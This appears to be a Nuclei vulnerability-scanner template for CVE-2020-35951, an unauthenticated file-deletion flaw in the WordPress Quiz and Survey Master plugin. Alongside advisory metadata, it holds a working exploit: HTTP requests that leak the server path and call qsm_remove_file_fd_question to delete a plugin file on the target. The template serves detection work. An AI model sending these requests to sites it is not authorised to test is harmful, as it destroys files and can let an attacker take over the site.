Wordpress Quiz and Survey Master <7.0.1 - Arbitrary File Deletion

id: CVE-2020-35951

info:
  name: Wordpress Quiz and Survey Master <7.0.1 - Arbitrary File Deletion
  author: princechaddha
  severity: critical
  description: Wordpress Quiz and Survey Master <7.0.1 allows users to delete arbitrary files such as wp-config.php file, which could effectively take a site offline and allow an attacker to reinstall with a WordPress instance under their control. This occurred via qsm_remove_file_fd_question, which allowed unauthenticated deletions (even though it was only intended for a person to delete their own quiz-answer files).
  impact: |
    This vulnerability can lead to unauthorized deletion of critical files, resulting in data loss or server compromise.
  remediation: |
    Upgrade to the latest version of Wordpress Quiz and Survey Master plugin (7.0.1 or higher) to mitigate this vulnerability.
  reference:
    - https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35951
    - https://wpscan.com/vulnerability/10348
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H
    cvss-score: 9.9
    cve-id: CVE-2020-35951
    cwe-id: CWE-306
    epss-score: 0.76328
    epss-percentile: 0.99541
    cpe: cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 4
    vendor: expresstech
    product: quiz_and_survey_master
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,wpscan,intrusive,expresstech,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92


        ------WebKitFormBoundaryBJ17hSJBjuGrnW92
        Content-Disposition: form-data; name="action"

        qsm_remove_file_fd_question
        ------WebKitFormBoundaryBJ17hSJBjuGrnW92
        Content-Disposition: form-data; name="file_url"

        {{fullpath}}wp-content/plugins/quiz-master-next/README.md
        ------WebKitFormBoundaryBJ17hSJBjuGrnW92--
      - |
        GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains((body_1), '# Quiz And Survey Master') && status_code_4==301 && !contains((body_4), '# Quiz And Survey Master')

      - type: word
        part: body
        words:
          - '{"type":"success","message":"File removed successfully"}'

    extractors:
      - type: regex
        name: fullpath
        group: 1
        regex:
          - not found in <b>([/a-z_]+)wp
        internal: true
        part: body